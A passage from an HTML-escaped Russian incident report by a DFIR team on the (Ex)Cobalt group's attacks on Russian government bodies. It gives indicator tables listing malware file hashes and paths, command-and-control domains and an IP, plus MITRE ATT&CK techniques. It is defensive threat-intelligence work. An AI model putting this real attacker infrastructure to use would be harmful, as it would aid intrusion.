12:18:22<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">netstaticpoints[.]com<\/p>\n<\/td>\n<td>\n<p align=\"left\">2023-11-23 12:18:26<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">swift-notice[.]store\u00a0\u00a0\u00a0\u00a0\u00a0 <\/p>\n<\/td>\n<td>\n<p align=\"left\">2023-11-23 12:18:32<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">swift-notice[.]online\u00a0\u00a0\u00a0\u00a0 <\/p>\n<\/td>\n<td>\n<p align=\"left\">2023-11-23 12:18:38<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">swift-notice[.]xyz\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/p>\n<\/td>\n<td>\n<p align=\"left\">2023-11-23 12:18:45<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">swift-notice[.]space<\/p>\n<\/td>\n<td>\n<p align=\"left\">2023-11-23 12:18:47<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">swift-notice[.]site\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/p>\n<\/td>\n<td>\n<p align=\"left\">2023-11-23 12:18:51<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p>\u041d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u044f \u043e\u0442\u0447\u0435\u0442\u0430 \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u0434\u043e\u043c\u0435\u043d\u044b \u0431\u044b\u043b\u0438 \u043f\u0440\u0438\u043f\u0430\u0440\u043a\u043e\u0432\u0430\u043d\u044b, \u043d\u043e\u00a0\u043f\u043e\u043a\u0430\u00a0\u043d\u0435 \u0432\u0432\u0435\u0434\u0435\u043d\u044b \u0432 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e.\u00a0\u0418\u0445 \u043d\u0435\u043b\u044c\u0437\u044f \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043a (Ex)Cobalt,\u00a0\u0438\u00a0\u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u044c \u0438\u0445\u00a0\u043f\u0440\u0438\u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438\u00a0\u0438\u043c\u0435\u043d\u043d\u043e \u043a \u044d\u0442\u043e\u0439\u00a0\u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0435\u00a0\u043c\u044b \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0435\u043c \u043a\u0430\u043a\u00a0\u043d\u0438\u0437\u043a\u0443\u044e, \u0442\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u044d\u0442\u0438 \u0434\u043e\u043c\u0435\u043d\u044b \u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433\u0430 \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442\u00a0\u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439\u00a0\u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438.<\/p>\n<h2>\u0417\u0430\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435<\/h2>\n<p>\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043d\u0430\u043c\u0438 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442 \u0432 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0439 \u0440\u0430\u0437 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0432\u0430\u0436\u043d\u043e\u0441\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u043e\u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u0437\u0430\u0449\u0438\u0442\u044b, \u043d\u0435 \u043f\u0440\u0438\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u043a \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u043c \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u0430\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u044b \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0443\u0436\u0435 \u0432 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u0430\u0442\u0430\u043a\u0435. \u0413\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 (Ex)Cobalt \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u0430\u043a\u0442\u0438\u0432\u043d\u0430 \u0438 \u0438\u043c\u0435\u0435\u0442 \u043e\u0441\u043e\u0431\u044b\u0439 \u0438\u043d\u0442\u0435\u0440\u0435\u0441 \u043a \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f\u043c \u0432 \u0420\u043e\u0441\u0441\u0438\u0438. \u0418 \u0432\u0440\u044f\u0434 \u043b\u0438 \u0442\u0430\u043a\u0438\u0435 \u0430\u0442\u0430\u043a\u0438 \u043f\u0440\u0435\u043a\u0440\u0430\u0442\u044f\u0442\u0441\u044f \u0432 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0435\u0435 \u0432\u0440\u0435\u043c\u044f. <\/p>\n<p>\u0412 \u043e\u0442\u0447\u0435\u0442\u0435 \u043c\u044b \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0441\u043f\u0438\u0441\u043e\u043a \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u043c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u043f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438.<\/p>\n<p>\u041e\u0437\u043d\u0430\u043a\u043e\u043c\u0438\u0442\u044c\u0441\u044f \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438 \u0432 \u0431\u043b\u043e\u0433\u0435 4RAYS \u043c\u043e\u0436\u043d\u043e \u043f\u043e <a href=\"https:\/\/rt-solar.ru\/solar-4rays\/blog\/\">\u0441\u0441\u044b\u043b\u043a\u0435<\/a>.<\/p>\n<h2>IoC<\/h2>\n<p><strong>\u0424\u0430\u0439\u043b\u043e\u0432\u044b\u0435 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b<\/strong><\/p>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<td>\n<p align=\"left\"><strong>\u041f\u0443\u0442\u044c<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\"><strong>MD5<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\"><strong>SHA1<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\"><strong>SHA256<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">\u0421\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435   \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u044f.rar<\/p>\n<\/td>\n<td>\n<p align=\"left\">8773ce3c1e4000f6db41a7bf0da625ad<\/p>\n<\/td>\n<td>\n<p align=\"left\">052d62da71a71c2ce5a5cadfbec02649c9117c43<\/p>\n<\/td>\n<td>\n<p align=\"left\">ce818ad10e625fa12f5d8ad4ad78bf73b8b445d996cc11ed17ef98878ec7666f<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">\u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439.rar<\/p>\n<\/td>\n<td>\n<p align=\"left\">1c2c01c22712e0ed3444b5aae5c5dfac<\/p>\n<\/td>\n<td>\n<p align=\"left\">0920fd89fd4277b918e337e52ecf751606341815<\/p>\n<\/td>\n<td>\n<p align=\"left\">7f6e30b0246ccfeb0c0925c7192235ddc99d46e0b07404a939b57e68819597e1<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">Document_Microsoft_Word.lnk<\/p>\n<\/td>\n<td>\n<p align=\"left\">375a82ae45a8041fc02a648f19154501<\/p>\n<\/td>\n<td>\n<p align=\"left\">409209b69ccc95a79ee1848bc5df8834b01b9aed<\/p>\n<\/td>\n<td>\n<p align=\"left\">b4320f83607fb0e49d75bd8a867c52b672e24bb535c053c3fb401d6e45b2bd3b<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">Document_Microsoft_Word.lnk<\/p>\n<\/td>\n<td>\n<p align=\"left\">3de34143d90ad3d74ae2c82d91f5ca42<\/p>\n<\/td>\n<td>\n<p align=\"left\">3a5dc97a27a31f7077d6c6551269f7632f307162<\/p>\n<\/td>\n<td>\n<p align=\"left\">30692be59256158f95888f11c0ff67807c3cd734448daf7b62832e4d02ffe869<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">C:\\Users\\\u00abUsername\u00bb\\AppData\\Local\\Temp\\hutpjsav.bat<\/p>\n<\/td>\n<td>\n<p align=\"left\">4a40da404e486ac0e676e651a25e8389<\/p>\n<\/td>\n<td>\n<p align=\"left\">e7756eaf52ef16640742810581059cb54b04c6a8<\/p>\n<\/td>\n<td>\n<p align=\"left\">b8ff94ea1ad2c8d8c9fa7581dee0ad23ded73de7ef3fba123cdfa84b39581143<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">C:\\Users\\\u00abUsername\u00bb\\AppData\\Local\\Temp\\yoedfeyeoid.bat<\/p>\n<\/td>\n<td>\n<p align=\"left\">831c266619f229075fc3660e144de50b<\/p>\n<\/td>\n<td>\n<p align=\"left\">a81f1a2efa4a8898c1694b3a3a4699e9cb87347e<\/p>\n<\/td>\n<td>\n<p align=\"left\">898252ae7eea656cfbd7337efc3066ecf9fc3ac4211ddffdd386a95adcd659cf<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">004.ps1,   C:\\ProgramData\\Intell\\Intellpui.ps1,   C:\\ProgramData\\Packagd\\XboxGamingOverlay.ps1<\/p>\n<\/td>\n<td>\n<p align=\"left\">56665014a0e5b3d58b363e01e83b3f9f<\/p>\n<\/td>\n<td>\n<p align=\"left\">73dae2c0f466bdfc54c15f83a50d168943240152<\/p>\n<\/td>\n<td>\n<p align=\"left\">46dfa8948537057c2f5ae881582b83678eb18965155de24cb632cbb1a7298060<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">C:\\ProgramData\\Packagr\\XboxGamingOverlay.ps1<\/p>\n<\/td>\n<td>\n<p align=\"left\">6eaf7f630e11a9f78cbe31d2d22858df<\/p>\n<\/td>\n<td>\n<p align=\"left\">538cce6325be62f533894b77d1e4cb9ae2a0cadd<\/p>\n<\/td>\n<td>\n<p align=\"left\">3adcf119aaaa93ed795d6d5685bb891a4054f056723e72574c48a95a78eca122<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">C:\\ProgramData\\Intell\\Intellpui.vbs<\/p>\n<\/td>\n<td>\n<p align=\"left\">ce2c6a4dd0a79a9e89b2c3195eee6727<\/p>\n<\/td>\n<td>\n<p align=\"left\">8337e1b0abcc1b195d69ade0f7edadf8fb418cda<\/p>\n<\/td>\n<td>\n<p align=\"left\">14e5723d246fcf50a05cdfd6a1bb0e30ca4aca65938c98fcaced6a8f5c886596<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">C:\\hp\\kasi.exe<\/p>\n<\/td>\n<td>\n<p align=\"left\">5fc4eef37ec583caac5a71918984af53<\/p>\n<\/td>\n<td>\n<p align=\"left\">630bab1432c0224c111cf81686d284d81ce35b1f<\/p>\n<\/td>\n<td>\n<p align=\"left\">7283a99550bb7806fd416e773baa2c542149ccb8d55e7e3d6f06d066681d7d06<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">C:\\hp\\bec.exe<\/p>\n<\/td>\n<td>\n<p align=\"left\">&#8212;<\/p>\n<\/td>\n<td>\n<p align=\"left\">&#8212;<\/p>\n<\/td>\n<td>\n<p align=\"left\">fef8828f4a0174f146ee4de9bac9a2c085dcd1984c98b65e54ec5c0692187bf0<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">C:\\hp\\kas.exe<\/p>\n<\/td>\n<td>\n<p align=\"left\">&#8212;<\/p>\n<\/td>\n<td>\n<p align=\"left\">&#8212;<\/p>\n<\/td>\n<td>\n<p align=\"left\">d11def8ac9f3af92c4e67e72e3da4fb2ae36dca4f34661ee5c03ff3f7330655a<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">C:\\hp\\kis.exe<\/p>\n<\/td>\n<td>\n<p align=\"left\">&#8212;<\/p>\n<\/td>\n<td>\n<p align=\"left\">&#8212;<\/p>\n<\/td>\n<td>\n<p align=\"left\">a12c3ba6ae64af819f26bd82401dc9d65bc71fe3ba3889eeefc636af39511288<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">C:\\hp\\new.exe<\/p>\n<\/td>\n<td>\n<p align=\"left\">&#8212;<\/p>\n<\/td>\n<td>\n<p align=\"left\">&#8212;<\/p>\n<\/td>\n<td>\n<p align=\"left\">2e2476242a182e334d28388ffa432cd7c79cc5fbcfd230de75cd3e5717088de5<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">C:\\hp\\prt.exe<\/p>\n<\/td>\n<td>\n<p align=\"left\">&#8212;<\/p>\n<\/td>\n<td>\n<p align=\"left\">&#8212;<\/p>\n<\/td>\n<td>\n<p align=\"left\">390dd5ec458cc289b9498313d8b74d6f2c84407c2539b745950cfd9d59f608a1<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">C:\\hp\\prt2.exe<\/p>\n<\/td>\n<td>\n<p align=\"left\">&#8212;<\/p>\n<\/td>\n<td>\n<p align=\"left\">&#8212;<\/p>\n<\/td>\n<td>\n<p align=\"left\">d47eb1f6a3a03e7240462f41250c6df37f73889639c34a46ce965513b6cb0a63<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">   \u00a0Zapros_13-2-16442-upr_ot_25_08_2023.zip<\/p>\n<\/td>\n<td>\n<p align=\"left\">f84e409b4ca80e349a19fa7555177379<\/p>\n<\/td>\n<td>\n<p align=\"left\">36f05bc39cac762fc2afd1e8444efb35f78dc97e<\/p>\n<\/td>\n<td>\n<p align=\"left\">723a1240e7042c87e3ca749335d9d525da566eccc0113cd5fecb92e6cc2a4552<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">Zapros_13-2-16442-upr_ot_25_08_2023.lnk<\/p>\n<\/td>\n<td>\n<p align=\"left\">0da63b385b2b6650dd6acf3b511e5ac8<\/p>\n<\/td>\n<td>\n<p align=\"left\">d90e2acca4af042fe8a76f428af6ca742224409d<\/p>\n<\/td>\n<td>\n<p align=\"left\">ec825d1321ad1d2f819c83301c5ff1970192d45b017a53177507f5e7716bceb8<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">LetsIntell___.ps1,   LetsIntell.ps1<\/p>\n<\/td>\n<td>\n<p align=\"left\">d5dbce918c46e9f86a35be2893c9efb2<\/p>\n<\/td>\n<td>\n<p align=\"left\">2bc2b4eb37d91969f031deddac51ec0e25d9fcc7<\/p>\n<\/td>\n<td>\n<p align=\"left\">7a6c75d038d7a47f87a3694bb9718b1e97a2b4aa8a9ac0fe24eeb074fd043b5c<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">   \u00a0CamScanner_24.11.2023_10.32.lnk<\/p>\n<\/td>\n<td>\n<p align=\"left\">939cc38ef64a3e5148d889fa4423d464<\/p>\n<\/td>\n<td>\n<p align=\"left\">583662360a3a3d400a6af62032800dae738555f7<\/p>\n<\/td>\n<td>\n<p align=\"left\">8df4252241140c36fc7e5042de7fcf3544572dfc8fdc04f054559efd32d6c710<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">DOC009_2.rar<\/p>\n<\/td>\n<td>\n<p align=\"left\">d3bb9583db450daa24f50afcea474ddc<\/p>\n<\/td>\n<td>\n<p align=\"left\">f4f1895bce5194e26b1a8f8dc02400f8aebc1a1d<\/p>\n<\/td>\n<td>\n<p align=\"left\">24de8eda46c83e5f713ed7e57fb21100907ce7f6ddac1135530ea6dd45afb02b<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p><strong>\u0421\u0435\u0442\u0435\u0432\u044b\u0435 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b<\/strong><\/p>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<td>\n<p align=\"left\"><strong>\u0418\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\"><strong>\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">88.218.62[.]79<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u041a\u043e\u043c\u0430\u043d\u0434\u043d\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 \u043f\u0440\u043e\u043a\u0441\u0438 Chisel<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">aquatech72[.]ru<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u041f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u043d\u044b\u0439 \u0440\u0435\u0441\u0443\u0440\u0441, \u043e\u0442\u043a\u0443\u0434\u0430 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442\u0441\u044f txt \u0434\u043b\u044f \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u0441\u0431\u043e\u0440\u043a\u0438 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">netstaticpoints[.]com<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u041a\u043e\u043c\u0430\u043d\u0434\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u0440\u0430\u0449\u0430\u044e\u0442\u0441\u044f ps1-\u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f CobInt, \u0430 \u0442\u0430\u043a\u0436\u0435   \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0434\u043b\u044f CobInt<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">techcname[.]com<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u041a\u043e\u043c\u0430\u043d\u0434\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440, \u043e\u0442\u043a\u0443\u0434\u0430 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u043b\u0441\u044f \u0444\u0430\u0439\u043b 004.ps1<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p><strong>MITRE TTPs<\/strong><\/p>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<td>\n<p align=\"left\"><strong>\u0422\u0430\u043a\u0442\u0438\u043a\u0430<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\"><strong>\u0422\u0435\u0445\u043d\u0438\u043a\u0430<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\"><strong>\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">Initial Access   <\/p>\n<\/td>\n<td>\n<p align=\"left\">Phishing: Spearphishing Attachment<\/p>\n<p align=\"left\">T1566.001<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u041f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u0435 \u0447\u0435\u0440\u0435\u0437 \u0444\u0438\u0448\u0438\u043d\u0433 \u0441 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c\u0438<\/p>\n<p>   <\/p>\n<\/td>\n<\/tr>\n<tr>\n<td rowspan=\"4\">\n<p align=\"left\">Execution   <\/p>\n<\/td>\n<td>\n<p align=\"left\">User Execution: Malicious File<br \/>   \u00a0T1204.002<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0412\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 lnk-\u0444\u0430\u0439\u043b\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">Command and   Scripting Interpreter: PowerShell<\/p>\n<p align=\"left\">T1059.001<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u041f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435   PowerShell-\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">Command and   Scripting Interpreter: Visual Basic<\/p>\n<p align=\"left\">ID:\u00a0T1059.005<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u041f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 Visual-Basic<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">Command and   Scripting Interpreter: Windows Command Shell<\/p>\n<p align=\"left\">ID: T1059.003<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u041f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435   \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u044b\u0445 bat-\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">Persistence   <\/p>\n<\/td>\n<td>\n<p align=\"left\">Boot or Logon   Autostart Execution: Registry Run Keys \/ Startup Folder<\/p>\n<p align=\"left\">T1547.001<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0417\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u0435 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \\Run-\u043a\u043b\u044e\u0447\u0435\u0439<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td rowspan=\"3\">\n<p align=\"left\"><strong>Defense Evasion<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\">Obfuscated   Files or Information: Command Obfuscation<\/p>\n<p align=\"left\">T1027.010<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u041e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u044f \u0441\u0442\u0440\u043e\u043a \u0438 \u043a\u043e\u043c\u0430\u043d\u0434 \u0432 \u0441\u043a\u0440\u0438\u043f\u0442\u0430\u0445<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">Deobfuscate\/Decode   Files or Information<\/p>\n<p align=\"left\">T1140<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435<a href=\"https:\/\/attack.mitre.org\/software\/S0160\"> certutil<\/a>, \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">Hijack   Execution Flow: DLL Side-Loading<\/p>\n<p align=\"left\">ID: T1574.002<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 dism.exe   \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0412\u041f\u041e<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td rowspan=\"3\">\n<p align=\"left\"><strong>Command and Control<\/strong><\/p>\n<p align=\"left\">\u00a0   <\/p>\n<\/td>\n<td>\n<p align=\"left\">Application   Layer Protocol: Web Protocols<\/p>\n<p align=\"left\">T1071.001<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0417\u0430\u043f\u0440\u043e\u0441\u044b \u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u044b\u0435 \u0430\u0434\u0440\u0435\u0441\u0430 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c HTTPS<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">Ingress Tool   Transfer<\/p>\n<p align=\"left\">ID: T1105<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 curl \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0433\u043e \u0430\u0434\u0440\u0435\u0441\u0430 \u0444\u0430\u0439\u043b\u043e\u0432<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">Proxy<\/p>\n<p align=\"left\">ID: T1090<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b-\u043f\u0440\u043e\u043a\u0441\u0438 Chisel<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p><strong>\u0410\u0432\u0442\u043e\u0440\u044b:<\/strong> \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0446\u0438\u0444\u0440\u043e\u0432\u043e\u0439 \u043a\u0440\u0438\u043c\u0438\u043d\u0430\u043b\u0438\u0441\u0442\u0438\u043a\u0438 \u0438 \u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u044b\u00a0(DFIR)\u00a0\u0446\u0435\u043d\u0442\u0440\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043a\u0438\u0431\u0435\u0440\u0443\u0433\u0440\u043e\u0437 Solar 4RAYS, \u0413\u041a \u00ab\u0421\u043e\u043b\u0430\u0440\u00bb<\/p>\n<\/p>\n<\/div>\n<\/div>\n<\/div>\n<p><!----><!----><\/div>\n<p><!----><!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b 